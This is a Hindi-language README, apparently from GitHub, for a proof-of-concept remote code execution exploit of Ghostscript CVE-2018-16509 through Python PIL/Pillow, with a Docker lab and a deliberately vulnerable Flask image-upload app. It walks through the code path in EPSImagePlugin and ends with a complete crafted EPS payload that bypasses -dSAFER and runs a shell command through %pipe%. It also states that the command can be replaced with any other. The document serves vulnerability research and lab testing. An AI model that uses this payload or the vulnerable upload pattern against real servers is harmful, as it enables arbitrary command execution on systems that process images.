
Python PIL/Pillow में Ghostscript CVE-2018-16509 के माध्यम से रिमोट शेल कमांड निष्पादन के लिए PoC + Docker वातावरण
https://github.com/ysrc/PIL-RCE-By-GhostButt (CVE-2017-8291 के माध्यम से PIL/Pillow RCE) से प्रेरित। यह डॉकर वातावरण संस्करण गोस्टस्क्रिप्ट के नए संस्करण (v9.23) और नए एक्सप्लॉइट (CVE-2018-16509) का उपयोग कर रहा है।
गोस्टस्क्रिप्ट एडोब सिस्टम्स के पोस्टस्क्रिप्ट और पोर्टेबल डॉक्यूमेंट फॉर्मेट (PDF) पेज विवरण भाषाओं के लिए एक इंटरप्रेटर पर आधारित सॉफ्टवेयर का एक सूट है। किसी तरह, गोस्टस्क्रिप्ट प्रोडक्शन सर्वर (जैसे /usr/local/bin/gs) पर मौजूद है, भले ही कोई एप्लिकेशन इसका सीधे उपयोग न करे, क्योंकि गोस्टस्क्रिप्ट किसी अन्य सॉफ्टवेयर (जैसे ImageMagick) की निर्भरता के रूप में स्थापित होता है। गोस्टस्क्रिप्ट में कई कमजोरियाँ पाई गईं; उनमें से एक CVE-2018-16509 (Google Project Zero से Tavis Ormandy द्वारा खोजा गया) है, जो गोस्टस्क्रिप्ट v9.24 से पहले -dSAFER बाईपास का शोषण करके, फेल हुए रिस्टोर (grestore) को संभालकर LockSafetyParams को अक्षम करने और invalidaccess से बचने के लिए मनमाने आदेशों को निष्पादित करने की अनुमति देता है। यह कमजोरी ImageMagick या प्रोग्रामिंग भाषा में Ghotscript रैपर वाली इमेज लाइब्रेरी (इस उदाहरण में PIL/Pillow) जैसी लाइब्रेरी के माध्यम से पहुँच योग्य है।
परीक्षण और प्रूफ ऑफ कॉन्सेप्ट के लिए, हम डॉकर वातावरण में एक्सप्लॉइट का प्रयास कर सकते हैं।
Ubuntu पर डॉकर/डॉकर-कम्पोज़ स्थापित करें:
# pip स्थापित करें
curl -s https://bootstrap.pypa.io/get-pip.py | python
# डॉकर का नवीनतम संस्करण स्थापित करें
curl -s https://get.docker.com/ | sh
# डॉकर सेवा चलाएं
service docker start
# डॉकर कम्पोज़ स्थापित करें
pip install docker-compose
अन्य ऑपरेटिंग सिस्टमों के लिए डॉकर और डॉकर-कम्पोज़ की स्थापना के चरण थोड़े भिन्न हो सकते हैं, कृपया विवरण के लिए डॉकर दस्तावेज़ीकरण देखें।
# रिपॉजिटरी क्लोन करें
git clone https://github.com/farisv/PIL-RCE-Ghostscript-CVE-2018-16509.git
# रिपॉजिटरी की निर्देशिका में प्रवेश करें
cd PIL-RCE-Ghostscript-CVE-2018-16509
# वातावरण संकलित करें
docker-compose build
# वातावरण चलाएं
docker-compose up -d
कमजोर Flask ऐप http://127.0.0.1:8000 पर एक्सेस किया जा सकता है। आप परीक्षण के बाद वातावरण को रोक सकते हैं।
docker-compose down -v
आप सर्वर पर touch /tmp/got_rce निष्पादित करने के लिए rce.jpg (एक विशेष रूप से तैयार की गई EPS छवि, वास्तविक JPG नहीं) अपलोड कर सकते हैं। प्रमाण के लिए, आप docker exec [CONTAINER_ID] ls -alt /tmp निष्पादित कर सकते हैं। CONTAINER_ID प्राप्त करने के लिए, आप docker container ls से जांच सकते हैं। शेल निष्पादन को अन्य आदेशों में बदलने के लिए, आप rce.jpg में सीधे touch /tmp/got_rce बदल सकते हैं।
आप Tavis Ormandy द्वारा कमजोरी के स्पष्टीकरण का संदर्भ oss-security पर ले सकते हैं।
आप PIL/Pillow के Ghostscript रैपर का स्रोत कोड EPSImagePlugin.py में देख सकते हैं।
यह app.py का कमजोर कोड है:
@app.route('/', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
file = request.files.get('image', None)
if not file:
flash('No image found')
return redirect(request.url)
filename = file.filename
ext = path.splitext(filename)[1]
if (ext not in ['.jpg', '.jpeg', '.png', '.gif', '.bmp']):
flash('Invalid extension')
return redirect(request.url)
tmp = tempfile.mktemp("test")
img_path = "{}.{}".format(tmp, ext)
file.save(img_path)
img = Image.open(img_path)
w, h = img.size
ratio = 256.0 / max(w, h)
resized_img = img.resize((int(w * ratio), int(h * ratio)))
resized_img.save(img_path)
अपलोड की गई फ़ाइल की सामग्री को img = Image.open(img_path) द्वारा लोड किया जाएगा। PIL स्वचालित रूप से पता लगाएगा कि छवि एक EPS छवि है (उदाहरण: फ़ाइल की शुरुआत में %!PS-Adobe-3.0 EPSF-3.0 जोड़ें) और EPSImagePlugin.py में EpsImageFile वर्ग में _open() को कॉल करेगा। raise IOError("cannot determine EPS bounding box") से बचने के लिए, फ़ाइल में एक बाउंडिंग बॉक्स जोड़ा जाना चाहिए (उदाहरण: %%BoundingBox: -0 -0 100 100)।
EPS छवि के मुख्य भाग को subprocess के साथ Ghostscript बाइनरी द्वारा संसाधित किया जाएगा, जैसा कि हम EPSImagePlugin.py में Ghostscript फ़ंक्शन में देख सकते हैं।
# Build Ghostscript command
command = ["gs",
"-q", # quiet mode
"-g%dx%d" % size, # set output geometry (pixels)
"-r%fx%f" % res, # set input DPI (dots per inch)
"-dBATCH", # exit after processing
"-dNOPAUSE", # don't pause between pages
"-dSAFER", # safe mode
"-sDEVICE=ppmraw", # ppm driver
"-sOutputFile=%s" % outfile, # output file
"-c", "%d %d translate" % (-bbox[0], -bbox[1]),
# adjust for image origin
"-f", infile, # input file
"-c", "showpage", # showpage (see: https://bugs.ghostscript.com/show_bug.cgi?id=698272)
]
....
try:
with open(os.devnull, 'w+b') as devnull:
startupinfo = None
if sys.platform.startswith('win'):
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
subprocess.check_call(command, stdin=devnull, stdout=devnull,
startupinfo=startupinfo)
उपरोक्त कोड तब कॉल किया जाता है जब load को Image.py में बुलाया जाता है, इसलिए केवल छवि खोलने से कमजोरी ट्रिगर नहीं होगी। resize, crop, rotate, और save जैसे फ़ंक्शन load को कॉल करेंगे और कमजोरी को ट्रिगर करेंगे।
Tavis Ormandy के POC के साथ मिलाकर, हम दूरस्थ शेल कमांड निष्पादन के लिए rce.jpg तैयार कर सकते हैं।
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%touch /tmp/got_rce) currentdevice putdeviceprops